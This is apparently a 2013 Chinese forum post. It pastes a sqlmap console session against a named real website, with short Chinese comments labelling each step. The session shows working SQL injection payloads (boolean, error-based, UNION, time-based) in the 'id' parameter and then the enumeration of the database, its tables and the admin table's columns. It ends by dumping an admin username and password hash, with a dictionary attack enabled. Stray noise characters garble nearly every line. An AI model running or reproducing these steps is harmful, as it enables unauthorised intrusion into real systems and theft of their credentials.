D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db) L; A! `( q/ o
ms "Mysql" --current-user /* 注解：获取当前用户名称( @2 g% \* I0 ]0 z) f$ Q
sqlmap/0.9 - automatic SQL injection and database takeover tool
' ?2 I3 V7 Z) H http://sqlmap.sourceforge.net starting at: 16:53:54
: ]& n2 A; `( p8 o0 }[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as0 }0 Y8 l& V9 U0 B" {$ m
session file: `+ b8 p- m7 K) I# i
[16:53:54] [INFO] resuming injection data from session file1 j( C$ N! t/ }5 k$ d3 w6 ^ S2 y
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file1 ^6 b' z8 P6 g
[16:53:54] [INFO] testing connection to the target url
: N! s; x, ?6 k0 c8 ~sqlmap identified the following injection points with a total of 0 HTTP(s) reque
2 \4 G/ Z, }9 {4 y+ e4 jsts:2 l2 y: Z3 J/ n& b8 ?7 ?" y9 ]$ O; V
---( Y/ h* y4 c! [, {
Place: GET
1 Z4 ^# T' @% O$ O9 N& d1 x! YParameter: id
@5 l7 C& B4 L. ], u0 ~1 \( H Type: boolean-based blind' k" S. @5 h. ?2 U, L9 E- ]5 A0 b' j
Title: AND boolean-based blind - WHERE or HAVING clause
, k. D3 T2 H3 S# l; A Payload: id=276 AND 799=7990 `% J) {! W0 @# w, x/ B
Type: error-based+ ]$ l: A \! n4 x4 b# p
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause6 ?9 K- Z* t/ H' f! X0 T
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,7 K+ |$ z0 S5 `0 n
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
+ E0 S% J. p7 K: O),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)3 ]: \/ |( a( S7 F& {
Type: UNION query4 f+ m2 X- f: ~1 l6 S5 e
Title: MySQL UNION query (NULL) - 1 to 10 columns
S% ]6 j: Q4 c Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR/ K8 E/ ]% O+ g; X
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),. P$ O8 M* D% j% @0 L8 w' @! F
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#7 y' _2 c; W' v2 K0 t3 l7 L
Type: AND/OR time-based blind
1 z% Z- p" y9 k1 F k Title: MySQL > 5.0.11 AND time-based blind2 c+ o4 T/ p) l0 T& S
Payload: id=276 AND SLEEP(5)# N* h; a" t: W# y5 q2 |
---" x! c, N- K* m
[16:53:55] [INFO] the back-end DBMS is MySQL
) s3 f3 l2 C1 \6 s! Iweb server operating system: Windows2 [0 y/ r5 X( C. M3 T6 \% B: ^( r
web application technology: Apache 2.2.11, PHP 5.3.0
6 ~# K& [/ R$ Hback-end DBMS: MySQL 5.06 y4 w) R7 R( {8 U$ [
[16:53:55] [INFO] fetching current user/ g8 Y( Q0 [( q. J- T3 P8 S1 O" I
current user: 'root@localhost'
; U* Z" o$ U' h5 w1 n( S/ L+ ^! X[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou. |8 {0 X2 K! `
tput\www.wepost.com.hk' shutting down at: 16:53:589 m6 C" c* [- e f% C( U
7 B. I; n- o( ^
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db# |/ D; B5 N0 w- g
ms "Mysql" --current-db /*当前数据库/ F0 e9 K& c! c9 W3 i
sqlmap/0.9 - automatic SQL injection and database takeover tool) B4 d1 d) S* ~8 e
http://sqlmap.sourceforge.net starting at: 16:54:16. O. R" k4 `5 |. _! e8 K
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
. k+ _& Y& ~% t3 ` session file
m/ Z1 n" s9 C. B6 m: T7 p[16:54:16] [INFO] resuming injection data from session file! D1 @% }7 L0 \) P5 F$ E
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file+ @6 [7 _% E0 L4 D/ M9 S5 _
[16:54:16] [INFO] testing connection to the target url9 J% t1 A8 n! h1 H- z
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
9 Z0 i! G$ i$ b% g% M) |sts:3 b0 W" t- }4 l6 E. o- n" n
---- J' R4 r3 z! g4 @
Place: GET- F" V4 {, ]" k" m# y
Parameter: id
" Y6 P5 ^3 |' ` n Type: boolean-based blind) ~8 x( i/ I8 F) V) Z$ A
Title: AND boolean-based blind - WHERE or HAVING clause L- W; f( A$ \7 }$ Z1 c
Payload: id=276 AND 799=7994 I7 `- I& r+ K4 H5 r
Type: error-based- N1 w3 n2 `3 P( Y) ?
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
" ?. g; e# \% D* ?5 E Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,4 W- G9 V) j( `; s, ` ^% X9 u
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58( p: _& a, l x" u; F" P
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)* m$ N2 p# C3 E0 K) x& r8 R3 y
Type: UNION query
a' [- x- U7 M* k( A, T: z Title: MySQL UNION query (NULL) - 1 to 10 columns
( Z2 I* {$ _# |+ j* n* X+ u Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR0 C; n2 x+ v5 H7 f8 i5 l; i2 @
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
" Q/ H. ?" Y ~. v2 ~4 d, HCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#8 }8 p0 K& Z) L) Y) ]- A
Type: AND/OR time-based blind
+ Y4 ~' ^) N* F M# N, o* v" { Title: MySQL > 5.0.11 AND time-based blind: z* Y% U7 |$ P2 Y$ L
Payload: id=276 AND SLEEP(5)
; ]( [5 ~& F7 f---" V+ R) {+ o" i
[16:54:17] [INFO] the back-end DBMS is MySQL
! ~6 e5 Z2 P4 w( b, X6 b6 U, Sweb server operating system: Windows
4 f- {7 w% a" A0 t! @web application technology: Apache 2.2.11, PHP 5.3.07 @4 O/ H( ?3 |* ~9 H, |
back-end DBMS: MySQL 5.07 D) ^) w4 i, E" R6 a
[16:54:17] [INFO] fetching current database
9 F: _8 }7 ~9 m4 f( o, Z! _ vcurrent database: 'wepost'0 S3 T. d& w+ U2 m4 ~
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
/ `- z. }' p1 K v* r4 h0 F7 ktput\www.wepost.com.hk' shutting down at: 16:54:18
5 O0 j; a1 M( ~/ P/ M4 ID:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
; d- L2 y% t/ z$ bms "Mysql" --tables -D "wepost" /*获取当前数据库的表名$ Y" O$ \$ Z2 C3 C. X$ T6 {- N
sqlmap/0.9 - automatic SQL injection and database takeover tool
9 m2 H4 I2 e4 m4 j http://sqlmap.sourceforge.net starting at: 16:55:25
9 [, x& {+ A" U# R' W# K[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as- F8 `& K% i; Z0 m. P
session file# H- l9 b/ I: i5 }. J' O# D4 M
[16:55:25] [INFO] resuming injection data from session file
0 }4 w0 u: F# q$ y" `[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
$ `, Z1 `/ G, M# |[16:55:25] [INFO] testing connection to the target url4 H2 T1 M& Z$ ^1 Z( _
sqlmap identified the following injection points with a total of 0 HTTP(s) reque: p# R6 a: W: @
sts:! H2 B: d( S' z4 n( e6 P3 _- i
---
. }6 \7 q* a# ^ Z* w" ?Place: GET+ N8 |: C; a0 \
Parameter: id
3 I1 \) q& N7 r9 ?+ j7 L Type: boolean-based blind
1 ?; ]5 Z+ P7 T, I) ^ Title: AND boolean-based blind - WHERE or HAVING clause; e8 c) L( e+ f, @# u1 E) m" N
Payload: id=276 AND 799=7997 C- J9 Q5 h. [7 j# ~) e
Type: error-based
2 `2 J: ^+ |4 }# ?- D$ {5 t$ ` Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
3 E1 b0 A' T1 Q- U) |5 C4 @ Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
# ?) M! j" e# |, V& s) q120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58# N) t1 Z' ^$ h- R7 g) H8 T
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
' L" f) M7 z3 b7 x w) K Type: UNION query
1 t( N5 P s- N0 _. V Title: MySQL UNION query (NULL) - 1 to 10 columns
* {$ R' ~" y6 c Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
/ n, t" n. i9 v; r. j(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
/ J! b" F! E" I! W- B# DCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
9 H5 W3 s7 z }9 I M Type: AND/OR time-based blind% p" A+ Q! S; y$ U
Title: MySQL > 5.0.11 AND time-based blind
. L7 G# j- A# t; D }! R! E% _ Payload: id=276 AND SLEEP(5)1 p1 c7 t$ ?$ f. {8 K
---
7 Y) G; r9 {& B( ~0 x) N9 u[16:55:26] [INFO] the back-end DBMS is MySQL5 U8 N3 B$ j5 V/ V( k" f' _
web server operating system: Windows
- v% d& `* D' T5 J1 e5 Sweb application technology: Apache 2.2.11, PHP 5.3.0
* h6 _1 w% T+ V! d( a7 W5 ]back-end DBMS: MySQL 5.0" m+ w$ h4 Q% f6 E8 ?6 G
[16:55:26] [INFO] fetching tables for database 'wepost'# W7 K; W9 V+ \0 ^& R! L1 x% L( @
[16:55:27] [INFO] the SQL query used returns 6 entries1 A' g7 ^1 n6 {4 ^6 j
Database: wepost3 F0 D; e8 j/ g
[6 tables]; }; R8 I I( v- u
+-------------+7 m7 c$ y0 b2 `: ` w
| admin |- S1 A. ^9 i& L% ^" w8 m8 [
| article |
. G# b# H, x t. ]; [2 W6 C4 F| contributor |
9 E. o4 `( |' Y) X6 N( d| idea |2 j1 X8 D5 o- @; K
| image |$ s; Z5 G6 T& t6 d6 R
| issue |
$ p* }/ g2 ^. L+-------------+
+ A8 n4 r: U6 ?4 h( N( m9 q8 d; M. C[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou0 |, F7 W+ ]4 w" `6 E4 p# ^
tput\www.wepost.com.hk' shutting down at: 16:55:334 j8 B7 c1 r$ f! T7 z7 Y
1 d3 Y* G& d) T' U$ R8 b
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db& A% ?- O6 E, B
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
" m/ @5 f: e9 x, u# l sqlmap/0.9 - automatic SQL injection and database takeover tool
1 B$ _2 y0 t* m: C' N, |. \' V3 F http://sqlmap.sourceforge.net starting at: 16:56:06- i- u* G/ X- z. f1 D+ u' {: j$ G2 U; G
sqlmap identified the following injection points with a total of 0 HTTP(s) reque* m3 s1 ~% s4 ~
sts:3 a5 }3 X# u7 ?( G$ G
---% \' v) E5 _0 y4 i& j: C. h
Place: GET9 z) Q/ y( i6 Z6 `% _7 F, H4 U4 G8 U9 V
Parameter: id8 { n6 L6 |- e* Z: n# c4 c
Type: boolean-based blind
0 E# Z; d2 C) ?" s Title: AND boolean-based blind - WHERE or HAVING clause8 P* d3 `% d3 H2 v$ }* L" V
Payload: id=276 AND 799=799
! c8 i6 l% g6 S* H Type: error-based
5 w4 o! d( p+ G# W Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
8 y8 Z( B: g: ~/ ~5 d( v- i Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
6 D; V1 U! K: p/ k. y0 l+ |8 X" L120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58' b. Q$ O6 T* b* f
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
" J, a" T$ K2 M" f# ] Type: UNION query
8 x9 |% b7 N+ z' o Title: MySQL UNION query (NULL) - 1 to 10 columns+ M. Z- V0 d' c. |) L$ s6 g
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR0 d- A7 k/ g5 N( x& ?5 c$ O
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),& }+ P4 N/ R. d+ K9 I4 X: w; F
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
# D0 ^% O# d- C' t9 I C% N( d Type: AND/OR time-based blind
/ r$ c; r; ]) u# A9 [1 g; `( _, b: g Title: MySQL > 5.0.11 AND time-based blind/ m" r2 T0 ^3 }) z
Payload: id=276 AND SLEEP(5)
7 ]3 o: [5 V4 z; {+ _5 p% J# C0 t f& R---. V$ h4 z6 V/ m7 j0 X1 J- b
web server operating system: Windows6 m" H/ K7 `. z5 q
web application technology: Apache 2.2.11, PHP 5.3.0
) _8 s5 C/ O% Y+ }0 uback-end DBMS: MySQL 5.0
+ E' s7 G5 o9 J: R2 l& V[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se$ ^& q( G' G F8 l, l- B! e
ssion': wepost, wepost
( C/ I0 `; z6 ?" uDatabase: wepost" g. D6 T' P6 d# q! x$ k; t
Table: admin
6 M2 L) v' x1 f) z! {9 S, N- v[4 columns]8 U f0 H2 t1 U8 ?# Z1 d
+----------+-------------+
' O- d& s, d$ K6 C5 d: h& ?9 q+ @; N| Column | Type |
A) E( A' V1 M; w7 _+----------+-------------+
: P" X8 Y2 N, C% u) ?7 ?6 V1 `- {| id | int(11) |5 K( v1 L$ K- G" S; _7 T( ]
| password | varchar(32) |* h6 E+ k$ Y8 J8 J* U$ u
| type | varchar(10) |
9 o+ i5 o7 q* G! L" ^7 b| userid | varchar(20) |
$ F) f, ^; G$ |: H+----------+-------------+' n0 z) z h& I* ? ?
shutting down at: 16:56:19
+ C1 M2 Y+ b7 [4 E9 d
, Z) ^9 L' y4 R& L! g" ^: _D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
; |3 s/ U% l, l/ h6 x1 p) Fms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容- e- n: R1 D6 v- [3 y& W2 C
sqlmap/0.9 - automatic SQL injection and database takeover tool5 }7 Z5 E+ i3 b# l3 _/ j
http://sqlmap.sourceforge.net starting at: 16:57:14" j+ E4 |! a4 H/ y7 Y9 _. v8 ]( I
sqlmap identified the following injection points with a total of 0 HTTP(s) reque- r, G0 ?5 k% t* z- Q$ z
sts:
; k; k* O; q- L- Z0 G O( r1 P---6 z8 y. P$ r/ t. A6 n
Place: GET' H- U! B L1 H: {5 @
Parameter: id3 i, r6 L- p) D" y
Type: boolean-based blind- V# A g- b; f2 ^* F7 U
Title: AND boolean-based blind - WHERE or HAVING clause
, `% Z- w% m3 g, H9 r. \2 F Payload: id=276 AND 799=799
; ?7 d# s. Q& y6 |2 E; Q& \ Type: error-based
2 J4 z% Q% i% |& t; ]/ w; T Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause3 S( q. ?! `: T$ l( v. ]
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,7 u; O; {, u1 m X2 J T
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,582 }& y8 E- P, x! g/ S
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
# Q! H4 ?* P# z2 G. o; S Type: UNION query9 z6 G5 A- A5 y1 q% Z7 |* ~2 z- P1 d" r
Title: MySQL UNION query (NULL) - 1 to 10 columns0 [; K! {! Z) L
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
}+ ~/ S7 U; s1 E, P/ a(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),, P- d+ l: T# o7 L% z& ~$ i
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#: O% F% t( ?; W
Type: AND/OR time-based blind
$ R2 `! }. s. z( { Title: MySQL > 5.0.11 AND time-based blind
. G' L0 R8 |' I9 c `. T* b Payload: id=276 AND SLEEP(5)
0 K9 E0 v! a' U# v/ S+ E. [---
# a: ]6 j, E1 B; }0 w/ N: i, ?. Gweb server operating system: Windows& C7 u; Y7 V) v4 z J7 j
web application technology: Apache 2.2.11, PHP 5.3.0
1 v+ w* u1 ^7 s6 S6 w; ^9 E0 Aback-end DBMS: MySQL 5.0) @: q, I( c% R' n
recognized possible password hash values. do you want to use dictionary attack o/ {1 T M7 r; B! b7 O8 V$ Q3 `# C
n retrieved table items? [Y/n/q] y$ M# P! k+ k; `" l$ L
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
4 o! o& ]* Z2 v0 ?* | J5 Ldo you want to use common password suffixes? (slow!) [y/N] y( @; i) {$ x1 ^9 S) |
Database: wepost' V( m% {; w: S/ V% _/ W ~2 H
Table: admin7 q- ~( o. P. F. [4 A# p
[1 entry]
9 O$ E- m# L" o+----------------------------------+------------+
4 g" K, ?' v1 G. t) ` H) |. T| password | userid |
! D6 N/ ?2 F! ]+----------------------------------+------------+% C4 n& b# m6 l1 b. u; c! @$ i9 N
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |% q; U- m2 ^) I, ?8 j- T$ j+ }
+----------------------------------+------------+
% C. _( q8 F2 a D/ W3 z5 z shutting down at: 16:58:14% ~7 o. c4 H$ z# l
8 g) `% \1 L4 O" g! v$ k
D:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对